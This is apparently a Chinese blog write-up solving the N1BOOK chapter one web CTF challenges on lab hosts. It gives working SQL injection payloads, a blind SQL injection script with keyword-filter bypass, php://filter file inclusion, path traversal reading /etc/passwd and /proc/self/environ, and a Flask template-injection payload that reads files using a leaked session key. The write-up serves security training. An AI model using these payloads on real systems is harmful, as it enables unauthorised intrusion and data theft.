N1BOOK第一章wp,和几个坑

[第一章 web入门]常见的搜集

预备知识:

1、gedit 的备份文件:

格式:filename~

例如:index.php~

2、vim备份文件:

格式:.filename.swp 或 .filename.swo 或 .filename.swn

例如:.index.php.swp

3、robots.txt

例如:www.example.com/robots.txt

解法:

1、robots.txt:

访问即可得到:flag1:n1book{info_1

2、index.php~

访问即可得到:flag2:s_v3ry_im

3、.index.php.swp

访问得到vim产生的交换文件

丢入linux,执行命令:

vi -r index.php.swp
:saveas index.php
:wq

即可恢复

得到:flag3:p0rtant_hack}

最终flag:n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

预备知识:.git泄露

具体是啥上网查吧,很多都有了。

解法:

GitHack

python GitHack.py -u http://18b35626-34e3-4aa7-9d4c-09e9e436b22c.node3.buuoj.cn/.git

得到index.html

打开即可得到flag:n1book{git_looks_s0_easyfun}

[第一章 web入门]SQL注入-1

这题需要注意的一个地方,注释符如果用 # 会出现问题,这里要用 –+ 。

很常规的sql注入了。

?id=3' order by 3--+     //判断字段数
?id=-1' union select 1,2,3--+     //判断回显点,此处为2,3
?id=-1' union select 1,group_concat(database()),3--+    //得到数据库 note
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note'--+    //得到表名 fl4g notes
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'--+    //得到字段名 fllllag
?id=-1' union select 1,group_concat(fllllag),3 from note.fl4g--+    //得到flag

flag:n1book{union_select_is_so_cool}

[第一章 web入门]afr_1

这题是蒙的,因为传入hello回显一个hello world

像是文件包含执行php代码

参数那边应该是拼接了后缀,所以不用加后缀

传入flag显示nonono,想着用伪协议试一下,然后就成功了

?p=php://filter/convert.base64-encode/resource=flag
得到:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
解码得到:n1book{afr_1_solved}

flag:n1book{afr_1_solved}

[第一章 web入门]afr_2

进去 F12 可发现 gif 路径:/img/img.gif

访问一下,只是一个动图

看看 /img 目录下有什么

这里直接在 url 地址后面加 .. 就行。

http://a0750257-cb6f-480c-af53-2a483bacecbd.node3.buuoj.cn/img/
http://a0750257-cb6f-480c-af53-2a483bacecbd.node3.buuoj.cn/img../      利用这个目录浏览返回上一层

点击 flag 下载,改后缀 txt 直接查看就行。

flag:n1book{afr_2_solved}

[第一章 web入门]SQL注入-2

这题很坑,进去是这样的:

刷新了很久的题目环境,还是不行。自己在服务器搭了容器,也还是这样

常见的一些 index.php 什么的都看过了,都没有

然后看了wp

要访问 login.phpuser.php

日常 admin’ or 1=1#

F12看一看,然后看到第二个坑:

这个 tips 我到最后试了ctfhub,buuoj,我自己的容器,都看不到他说的报错信息。

解法一:

在找报错的过程中发现一个有趣的地方:

admin'^0#
admin'^1#

好,可以试试盲注。

接着碰到了第三个坑,脚本跑起来了,但是没有结果

确定代码逻辑没问题后,输出 python 抓取的 html ,发现返回的是 unicode 字符

于是把判断的字符串给改了

然后还是跑不出东西,无奈之下看了wp,发现select关键字删除,气人啊

双写绕过,然后一步步跑出表名,字段名,flag

脚本:

#查找表
import requests
import time
url = 'http://47.107.82.200:8095/login.php'
result = ''
 
for x in range(1,50):
    high = 127
    low = 32
    mid = (high+low)//2     #结果向下取整
    while high>low:
        payload1="xxxx"
        payload = "admin'^" + "(ascii(substr((selselectect(group_concat(table_name))from information_schema.tables where table_schema=database()),{0},1))>{1})"  .format(x,mid) + "#"#格式化函数代入x,mid
        data = {'name' : payload , 'pass' : payload1}
        html = requests.post(url,data=data).text     #抓取页面元素
        time.sleep(0.5)
        if "u4e0d" in html:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    result += chr(int(mid))     #类型转换,int通过chr返回当前数值对应ascii码值的字符
    print(result)
print("tablename:",result) 
查列:
payload = "admin'^" + "(ascii(substr((selselectect(group_concat(column_name))from information_schema.columns where table_name='fl4g'),{0},1))>{1})"  .format(x,mid) + "#"
查flag:
payload = "admin'^" + "(ascii(substr((selselectect(group_concat(flag))from fl4g),{0},1))>{1})"  .format(x,mid) + "#"

flag:n1book{login_sqli_is_nice}

解法二:

[第一章 web入门]afr_3

试了一下这里没有模板注入。

url:
http://dadc2a5f-fd50-46ef-8c9b-0febc829e643.node3.buuoj.cn/article?name=article

测试:

http://dadc2a5f-fd50-46ef-8c9b-0febc829e643.node3.buuoj.cn/article?name=../../../../../../../../../../etc/passwd

看下有没有什么有用的在proc目录下。

http://dadc2a5f-fd50-46ef-8c9b-0febc829e643.node3.buuoj.cn/article?name=../../../../../../../../../../proc/self/cmdline

http://dadc2a5f-fd50-46ef-8c9b-0febc829e643.node3.buuoj.cn/article?name=../../../../../../../../../../proc/self/environ

好的,得到flag。

当然是假的,查看下/home/sssssserver/server.py

http://dadc2a5f-fd50-46ef-8c9b-0febc829e643.node3.buuoj.cn/article?name=../../../../../../../../../../home/sssssserver/server.py

拿到源码:

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

代码分析:

execfile('flag.py')
execfile('key.py')

这里一个flag,一个key,flag一般都读不了,key要用到

def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

这里可以模板注入,通过session[‘n1code’]传入可以绕过过滤。

然后本题session[‘n1code’]长这样:

长得很像jwt,看看key.py里面是什么。

得到key:

Drmhze6EPcv0fN_81Bj-nA

有个flask-cookie-session-manager这个东西,可以用来解密python的jwt

直接掏python2文件读取payload试一下

{'n1code':'{{[].__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}'}

果然报错,目测是符号问题,单引号转义一下看看

{'n1code':'{{[].__class__.__mro__[1].__subclasses__()[40](\'/etc/passwd\').read()}}'}

掏flag

{'n1code':'{{[].__class__.__mro__[1].__subclasses__()[40](\'flag.py\').read()}}'}

flag:n1book{afr_3_solved}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇